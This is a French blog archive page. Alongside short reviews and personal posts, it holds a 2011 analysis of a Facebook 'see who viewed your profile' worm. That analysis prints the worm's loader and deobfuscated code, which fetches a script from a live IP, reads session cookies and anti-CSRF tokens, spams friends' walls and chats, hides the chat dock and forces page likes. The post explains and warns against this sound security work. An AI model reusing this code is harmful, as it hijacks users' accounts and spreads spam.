Archives pour la catégorie ‘Non classé’

  • Le jour ou j’ai dis adieu à voyages-sncf

    Date: 2012.01.15 | Catégories: Non classé | Commentaires: 8

    Depuis quelques mois, je teste le service Capitaine Train. Sous ce joli nom se cache un concurrent au site voyages-sncf.com, l’agence de voyage de la SNCF.

    Si vous achetez régulièrement des billets sur le site de la SNCF, vous devez aussi, régulièrement, vous arracher les cheveux : entre les résultats de recherche peu clair, la gestion des billets déjà achetés qui marche quand elle veux… C’est une horreur.

    Et c’est la que Capitaine Train vient à votre rescousse ! L’interface entièrement dynamique  vous permet d’acheter vos billets « super rapidement » (Je dirais au moins 4 fois plus vite). Vous bénéficiez de prix identiques qu’au guichet ou sur une borne.

    Bref, l’essayer c’est l’adopter !

    Pour les intéressés, j’ai 10 invitations pour tester le service ! Laissez un commentaire.

  • Facebook hack : qui consulte votre profil

    Date: 2011.05.16 | Catégories: Non classé | Commentaires: 10

    Vous avez surement croisé ces derniers temps des tas de messages « Trouvez qui regarde votre profil » (ou encore wow, cela fonctionne vraiment! decouvrez)… En partant d’un de ces liens, je vais essayer de vous expliquer le fonctionnement

    On retrouve la source de ce code sur des sites de « hacker » US (http://forum.vxheavens.com/viewtopic.php?id=1060 par exemple) où il se servait de la mort de Ben Laden pour se diffuser.
    On le retrouve aussi sous le nom de KuNG FU JS v.1

    Le premier lien est masqué par le raccourcisseur d’url bit.ly, on trouve derrière ce lien : http://184.107.77.69/?2016082148 (1).

    A propos de cette IP : 184.107.77.69.
    On trouve rapidement un site qui utilise cette IP : vieronperfil.info qui mène à la page avec les instructions.
    Un petit coup d’oeil au whois permet de voir que le propriétaire à masqué toutes ses infos…

    Après avoir visité cette (1) page, toujours rien sur mon mur. Il faut bien une autre action manuelle avant d’avoir son facebook spammé.

    On nous demande donc de copier ce code :

    1
    
    javascript:(function(){_ccscr=document.createElement('SCRIPT');_ccscr.type='text/javascript';_ccscr.src='http://184.107.77.69/rad.php?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();

    Ce code, assez simple, permet de charger le javascript suivant : http://184.107.77.69/rad.php?

    Ce code à l’avantage d’être court (ce qui le rend simple à copier/coller dans la barre d’adresse et permet de charger un autre script bien plus compliqué

    Le javascript à ce moment la est vachement plus long (mais pas très compliqué en soit) :

    1
    2
    3
    4
    5
    
    function readCookie(_0x491dx2) { var _0x491dx3 = _0x491dx2 + '='; var _0x491dx4 = document['cookie']['split'](';'); for (var _0x491dx5 = 0; _0x491dx5 < _0x491dx4['length']; _0x491dx5++) { var _0x491dx6 = _0x491dx4[_0x491dx5]; while (_0x491dx6['charAt'](0) == ' ') { _0x491dx6 = _0x491dx6['substring'](1, _0x491dx6['length']); }; if (_0x491dx6['indexOf'](_0x491dx3) == 0) { return _0x491dx6['substring'](_0x491dx3['length'], _0x491dx6['length']); }; }; return null; }; var user_id = readCookie('c_user'); var user_name =
     
    ....
     
    "http://184.107.77.69/end.php"; var eventdesc = "Bonjour\n\nSi vous voulez savoir qui a vu votre profil, cliquez ci-dessous::\n\n http://linka.cc/9dc5#"+randomnumber; var eventname = "Voir qui a vu votre profil!"+randomnumber; var nfriends = 5000; //

    Ce code très obfusqué, mais en l’aérant un peu, on voit bien plus clair ! (en l’occurence avec indent -kr code.js)

    La ruse est que l’on vous demande que ce code soit tapé DANS la fenêtre facebook. Ce code est donc éxecuté comme si il était DANS la page facebook (ou encore, comme si c’était du code officiel de facebook). Il n’y a pas donc de faille fondamentale au niveau de facebook ou chrome (ou firefox ou autre)

    Le code éclairci :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    
    function readCookie(_0x491dx2)
    {
        var _0x491dx3 = _0x491dx2 + '=';
        var _0x491dx4 = document['cookie']['split'] (';');
        for (var _0x491dx5 = 0; _0x491dx5 < _0x491dx4['length']; _0x491dx5++) {
    	var _0x491dx6 = _0x491dx4[_0x491dx5];
    	while (_0x491dx6['charAt'] (0) == ' ') {
    	    _0x491dx6 = _0x491dx6['substring'] (1, _0x491dx6['length']);
    	};
    	if (_0x491dx6['indexOf'] (_0x491dx3) == 0) {
    	    return _0x491dx6['substring'] (_0x491dx3['length'],
    					   _0x491dx6['length']);
    	};
        };
        return null;
    };

    La fonction readCookie va donc lire la donnée d’un cookie, en l’occurence celui du cookie de facebook. Encore une fois, cette lecture n’est pas possible depuis un site extérieur, c’est pour cela qu’on vous demande de copier le javascript DANS la page facebook. En effet un site ne peux accéder qu’aux cookies de son propre domaine.

    1
    
    var user_id = readCookie('c_user');

    Le cookie c_user est présent sur facebook et contient votre identifiant de connexion. Ma valeur de c_user est 1197535424, donc http://www.facebook.com/profile.php?id=1197535424 mène à mon profil.

    1
    2
    3
    4
    
    var user_name = document['getElementById'] ('navAccountName')['innerHTML'];
    var post_form_id =
        document['getElementsByName'] ('post_form_id')[0]['value'];
    var fb_dtsg = document['getElementsByName'] ('fb_dtsg')[0]['value'];

    Le script récupère des informations en lisant simplement la page

    fb_dtsg et post_form_id sont des identifiants implémentés par facebook permettant d’empécher le « Cross-site request forgery » (ou CSRF ou encore XSRF, voir http://fr.wikipedia.org/wiki/Cross-site_request_forgery pour plus d’informations)

    Ils permettent donc d’empêcher l’échange de valeurs entre des sessions différentes

    1
    2
    3
    
    var this_chat =
        'Bonjour! Je viens de decouvrir qui ont consulte mon profil aujourd hui! Vous pouvez trouver @ http://linka.cc/9dc5';
    var prepared_chat = encodeURIComponent(this_chat);

    On prépare le petit message qui sera posté partout

    Pour poster le message, c’est un peu plus compliqué :

    1
    2
    3
    4
    5
    6
    7
    8
    
    var token = Math['round'] (new Date()['getTime'] () / 1000);
    var http1 = new XMLHttpRequest();
    var url1 =
        'http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer='
        + user_id + '&token=' + token +
        '-6&filter[0]=user&options[0]=friends_only';
    var params1 = '';
    http1['open'] ('GET', url1 + '?' + params1, true);

    Le code ci dessus à pour but de récuperer un certain nombre d’informations, notamment la liste de vos amis. Cela permettra ensuite de spammer leur murs.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    
    http1['onreadystatechange'] = function()
    {
        if (http1['readyState'] == 4 && http1['status'] == 200) {
    	var _0x491dx13 = http1['responseText'];
    	_0x491dx13 = _0x491dx13['replace'] ('for (;;);', '');
    	_0x491dx13 = JSON['parse'] (_0x491dx13);
    	var _0x491dx14 = 0;
    	for (uid in _0x491dx13['payload']['entries']) {
    	    if (_0x491dx14 < 400) {
    		var _0x491dx15 = new XMLHttpRequest();
    		var _0x491dx16 =
    		    'http://www.facebook.com/ajax/profile/composer.php?__a=1';
    		var _0x491dx17 =
    		    'post_form_id=' + post_form_id + '&fb_dtsg=' +
    		    fb_dtsg + '&xhpc_composerid=u574553_1&xhpc_targetid=' +
    		    _0x491dx13['payload']['entries'][_0x491dx14]['uid'] +
    		    '&xhpc_context=profile&xhpc_fbx=1&aktion=post&app_id=2309869772&UIThumbPager_Input=0&attachment[params][metaTagMap][0][http-equiv]=content-type&attachment[params][metaTagMap][0][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][metaTagMap][1][property]=og%3Atitle&attachment[params][metaTagMap][1][content]=Voir qui a vu votre profil!&attachment[params][metaTagMap][2][property]=og%3Aurl&attachment[params][metaTagMap][2][content]=http://www.facebook.com&attachment[params][metaTagMap][3][property]=og%3Asite_name&attachment[params][metaTagMap][3][content]=Voir qui a vu votre profil!&attachment[params][metaTagMap][4][property]=og%3Aimage&attachment[params][metaTagMap][4][content]=http://i.imgur.com/xmJXf.jpg&attachment[params][metaTagMap][5][property]=og%3Adescription&attachment[params][metaTagMap][5][content]=Maintenant vous pouvez voir qui regarde votre profil tous les jours!&attachment[params][metaTagMap][6][name]=description&attachment[params][metaTagMap][6][content]=Maintenant vous pouvez voir qui regarde votre profil tous les jours!&attachment[params][metaTagMap][7][http-equiv]=Content-Type&attachment[params][metaTagMap][7][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][medium]=106&attachment[params][urlInfo][user]=http://bit.ly/l1IMZr&attachment[params][favicon]=http://lol.info/os/favicon.ico&attachment[params][title]=Voir qui a vu votre profil!&attachment[params][fragment_title]=&attachment[params][external_author]=&attachment[params][summary]=Maintenant vous pouvez voir qui regarde votre profil tous les jours!&attachment[params][url]=http://www.facebook.com&attachment[params][ttl]=0&attachment[params][error]=1&attachment[params][responseCode]=206&attachment[params][metaTags][description]=Maintenant vous pouvez voir qui regarde votre profil tous les jours!&attachment[params][images][0]=http://i.imgur.com/xmJXf.jpg&attachment[params][scrape_time]=1302991496&attachment[params][cache_hit]=1&attachment[type]=100&xhpc_message_text=Wow, cela fonctionne vraiment! Decouvrez qui consulte votre profil!&xhpc_message=Wow, cela fonctionne vraiment! Decouvrez qui consulte votre profil!&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest';
    		_0x491dx15['open'] ('POST', _0x491dx16, true);
    		_0x491dx15['setRequestHeader'] ('Content-type',
    						'application/x-www-form-urlencoded');
    		_0x491dx15['setRequestHeader'] ('Content-length',
    						_0x491dx17['length']);
    		_0x491dx15['setRequestHeader'] ('Connection',
    						'keep-alive');
    		_0x491dx15['onreadystatechange'] = function() {
    		    if (_0x491dx15['readyState'] == 4
    			&& _0x491dx15['status'] == 200) {
    		    };
    		};
    		_0x491dx15['send'] (_0x491dx17);
    	    };
    	    _0x491dx14++;
    	};
    	http1['close'];
        };
    };
     
    http1['send'] (null);

    Afin de préparer la suite, on masque la barre de chat. Ainsi l’utilisateur ne se rendra pas compte des réponses possibles (par exemple)

    1
    2
    
    var hide = document['getElementById'] ('fbDockChatTabSlider');
    hide['style']['display'] = 'none';

    Le code ci après permet de récupérer la liste des amis connectés et de leur envoyer un message afin de diffuser le spam

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    
    var http3 = new XMLHttpRequest();
    var url3 = 'http://www.facebook.com/ajax/chat/buddy_list.php?__a=1';
    var params3 =
        'user=' + user_id +
        '&popped_out=false&force_render=true&post_form_id=' + post_form_id +
        '&fb_dtsg=' + fb_dtsg + '&lsd&post_form_id_source=AsyncRequest';
    http3['open'] ('POST', url3, true);
    http3['setRequestHeader'] ('Content-type',
    			   'application/x-www-form-urlencoded');
    http3['setRequestHeader'] ('Content-length', params3['length']);
    http3['setRequestHeader'] ('Connection', 'close');
    http3['onreadystatechange'] = function()
    {
        if (http3['readyState'] == 4 && http3['status'] == 200) {
    	var _0x491dx1c = http3['responseText'];
    	_0x491dx1c = _0x491dx1c['replace'] ('for (;;);', '');
    	_0x491dx1c = JSON['parse'] (_0x491dx1c);
    	var _0x491dx14 = 0;
    	for (property in
    	     _0x491dx1c['payload']['buddy_list']['nowAvailableList']) {
    	    if (_0x491dx14 < 100) {
    		var _0x491dx1d = new XMLHttpRequest();
    		var _0x491dx1e =
    		    Math['floor'] (Math['random'] () * 1000000);
    		var _0x491dx1f =
    		    Math['round'] (new Date()['getTime'] () / 1000);
    		var _0x491dx20 =
    		    'http://www.facebook.com/ajax/chat/send.php?__a=1';
    		var _0x491dx21 =
    		    'msg_id=' + _0x491dx1e + '&client_time=' + _0x491dx1f +
    		    '&to=' + property + '&num_tabs=1&pvs_time=' +
    		    _0x491dx1f + '&msg_text=' + prepared_chat +
    		    '&to_offline=false&post_form_id=' + post_form_id +
    		    '&fb_dtsg=' + fb_dtsg +
    		    '&lsd&post_form_id_source=AsyncRequest';
    		_0x491dx1d['open'] ('POST', _0x491dx20, true);
    		_0x491dx1d['setRequestHeader'] ('Content-type',
    						'application/x-www-form-urlencoded');
    		_0x491dx1d['setRequestHeader'] ('Content-length',
    						_0x491dx21['length']);
    		_0x491dx1d['setRequestHeader'] ('Connection', 'close');
    		_0x491dx1d['onreadystatechange'] = function() {
    		    if (_0x491dx1d['readyState'] == 4
    			&& _0x491dx1d['status'] == 200) {
    		    };
    		};
    		_0x491dx1d['send'] (_0x491dx21);
    	    };
    	    _0x491dx14++;
    	};
    	http3['close'];
        };
    };
     
    http3['send'] (params3);

    Les trois blocs suivant n’ont pour but que de vous faire « liker » certaines pages. Elle procèdent par la création d’une requête http puis à l’aide de la bonne adresse et des bon paramètres, on vous fait fan de n’importe quoi

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    
    var http4 = new XMLHttpRequest();
    var url4 = 'http://www.facebook.com/ajax/pages/fan_status.php?__a=1';
    var params4 =
        'fbpage_id=217548714935541&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id='
        + post_form_id + '&fb_dtsg=' + fb_dtsg +
        '&lsd&post_form_id_source=AsyncRequest';
    http4['open'] ('POST', url4, true);
    http4['setRequestHeader'] ('Content-type',
    			   'application/x-www-form-urlencoded');
    http4['setRequestHeader'] ('Content-length', params4['length']);
    http4['setRequestHeader'] ('Connection', 'close');
    http4['onreadystatechange'] = function()
    {
        if (http4['readyState'] == 4 && http4['status'] == 200) {
    	http4['close'];
        };
    };
     
    http4['send'] (params4);

    On en profite pour vous faire liker la page « J’aime écouter de la musique » (http://www.facebook.com/pages/Jaime-%C3%A9couter-de-la-musique/217548714935541)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    
    var http5 = new XMLHttpRequest();
    var url5 = 'http://www.facebook.com/ajax/pages/fan_status.php?__a=1';
    var params5 =
        'fbpage_id=198701800175160&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id='
        + post_form_id + '&fb_dtsg=' + fb_dtsg +
        '&lsd&post_form_id_source=AsyncRequest';
    http5['open'] ('POST', url5, true);
    http5['setRequestHeader'] ('Content-type',
    			   'application/x-www-form-urlencoded');
    http5['setRequestHeader'] ('Content-length', params5['length']);
    http5['setRequestHeader'] ('Connection', 'close');
    http5['onreadystatechange'] = function()
    {
        if (http5['readyState'] == 4 && http5['status'] == 200) {
    	http5['close'];
        };
    };
     
    http5['send'] (params5);

    Et une autre page « J’aime écouter de la musique » mais avec un identifiant différent…http://www.facebook.com/pages/Jaime-%C3%A9couter-de-la-musique/198701800175160

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    
    var http6 = new XMLHttpRequest();
    var url6 = 'http://www.facebook.com/ajax/pages/fan_status.php?__a=1';
    var params6 =
        'fbpage_id=226360327377843&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id='
        + post_form_id + '&fb_dtsg=' + fb_dtsg +
        '&lsd&post_form_id_source=AsyncRequest';
    http6['open'] ('POST', url6, true);
    http6['setRequestHeader'] ('Content-type',
    			   'application/x-www-form-urlencoded');
    http6['setRequestHeader'] ('Content-length', params6['length']);
    http6['setRequestHeader'] ('Connection', 'close');
    http6['onreadystatechange'] = function()
    {
        if (http6['readyState'] == 4 && http6['status'] == 200) {
    	http6['close'];
        };
    };
     
    http6['send'] (params6);
    </p>
    <p>Et une dernière "J'aime écouter de la musique", un troisième identifiant... http://www.facebook.com/pages/Jaime-%C3%A9couter-de-la-musique/226360327377843</p>
    <p>Le nombre de fan de chacunes de ces pages est différent (entre 210 000 et 200 000), je suppose donc que les gens peuvent avoir supprimé le spam après en avoir "unlinké" une page, alors qu'il en reste deux)</p>
    <p>Cela permettra plus tard de les recontacter facilement...</p>
    <pre escaped="true" lang="javascript" line="1">
    function include(_0x491dx2c)
    {
        var _0x491dx2d = document['createElement'] ('script');
        _0x491dx2d['src'] = _0x491dx2c;
        _0x491dx2d['type'] = 'text/javascript';
        _0x491dx2d['defer'] = true;
        document['getElementsByTagName'] ('head')['item'] (0)['appendChild']
    	(_0x491dx2d);
    };
    include('http://code.jquery.com/jquery-1.5.2.min.js');	/////////////////// //////////////////////////////////////////////////////////////////////////////////////////// ////////////////// var randomnumber=Math.floor(Math.random()*999999) var chatmessage = ""; var postmessage = "%tf% %tf% %tf% %tf% Vous les gars regarde mon profil le plus aujourd hui! Voir qui ont regarde le votre @ http://linka.cc/9dc5"; var redirect = "http://184.107.77.69/end.php"; var eventdesc = "Bonjour\n\nSi vous voulez savoir qui a vu votre profil, cliquez ci-dessous::\n\n http://linka.cc/9dc5#"+randomnumber; var eventname = "Voir qui a vu votre profil!"+randomnumber; var nfriends = 5000; //

    En conclusion, ne tapez JAMAIS entrer un code, d’autant plus si on ne le comprend pas, dans la barre d’adresse. Ce code n’exploite pas de faille, je ne vois pas de méthode permettant à facebook de contrôler ce type de problème.

    A une époque les virus avaient besoin de se dupliquer automatiquement, maintenant ils demandent simplement à l’utilisateur de le faire pour lui…

  • Test VPN : VPNtunnel.se

    Date: 2010.09.27 | Catégories: Non classé | Commentaires: 3

    Par les temps qui courent (et je ne parle pas que d’Hadopi), il est devenu plus qu’utile d’utiliser un VPN

    Alors j’ai cassé ma tirelire, pris 5€, et payé un mois d’abonnement à VPNTunnel.se ! Et ce que je peux déjà vous dire, c’est que je le referais le mois prochain, surement pour un an. Voici les raisons :

    • La configuration est extra simple sous Windows (je n’ai pas encore eu le temps de tester sous linux). Le logiciel à installer est pré configuré, il ne reste qu’a entrer ses identifiants.
    • Débit plus que correct. Je suis monté à 1 mo/s (sur au moins 7 ou 8 mo/s de bande passante disponible) en torrent.
    • Le ping en prend un coup, de quelques milli seconde je passe à 50 environ.. Forcément l’ensemble de votre traffic passe par la suède.
    • Vous pouvez maintenant choisir la localisation des serveurs : Suède, Etats Unis
    • Le trafic est illimité.
    • Aucun logs conservés pour les serveurs en Suède

    A 5€ par mois (4€ si vous prenez un an), vous hévitez Hadopi et accessoirement vous pouvez être anonyme quand vous le voulez.

    Si vous avez une question, posez la en commentaire j’y répondrais rapidement !

    Depuis quelques jours, une réduction de 40% sur les packs de 1 ans ! 1 ans pour 40€, soit un peu de plus de 3€/mois.

  • Gloubi-boulga

    Date: 2010.01.26 | Catégories: Non classé | Commentaires: 2

    J’ai toujours eu un faible pour un certain nombre d’aliments qui normalement ne se mangent pas. Ainsi depuis tout petit, j’adore la pâte à gâteau qui n’est pas encore gâteau, la pâte à tarte avant qu’elle ne devienne tarte et j’ai un faible pour le fromage à croc monsieur quand il n’est pas encore croc monsieur.

    De la même façon j’aime bien commencer un repas par le fromage ou bien goûter à un peu tout en rentrant de faire les courses.

    Quand on est enfant ce genre de comportement ne manque pas d’attirer la foudre parentale, mais à l’age adulte de telles lubies peuvent s’exercer dans la plus totale impunité.

    Au supermarché, on peut ainsi acheter un énorme paquet de dragibus sur un coup de tête pour en faire son dîner avant de passer la soirée à faire des sauts sur le lit, sans endurer la moindre réprimande.

    Il n’est pas rare cependant de devoir faire face à quelques protestations de la part d’un système digestif ivre de sucre et de rebonds.

  • Etude du projet

    Date: 2008.05.04 | Catégories: Non classé | Commentaires: 0

    Qu’est ce que c’est que ce truc ?????

    C’est tout simplement une aventure d’un mois pendant laquelle je parcourrai toute la cote nord ouest de la France en vélo avec des étapes.

    D’ou te viens cette idée ???

    J’aimerai voir mes amis pendant le mois d’aout et je ne veux pas rester à rien faire…

    Au départ je pensais prendre la voiture, mais ma sœur m’a suggéré le vélo, ça sera d’autant plus palpitant!!!

    Déjà préparé ???

    Non c’est juste un projet pour l’instant je n’ai pas encore décidé des étapes ni autres détails du trajet, je vais m’y mettre pendant mon temps de libre …

    C’est parti !!!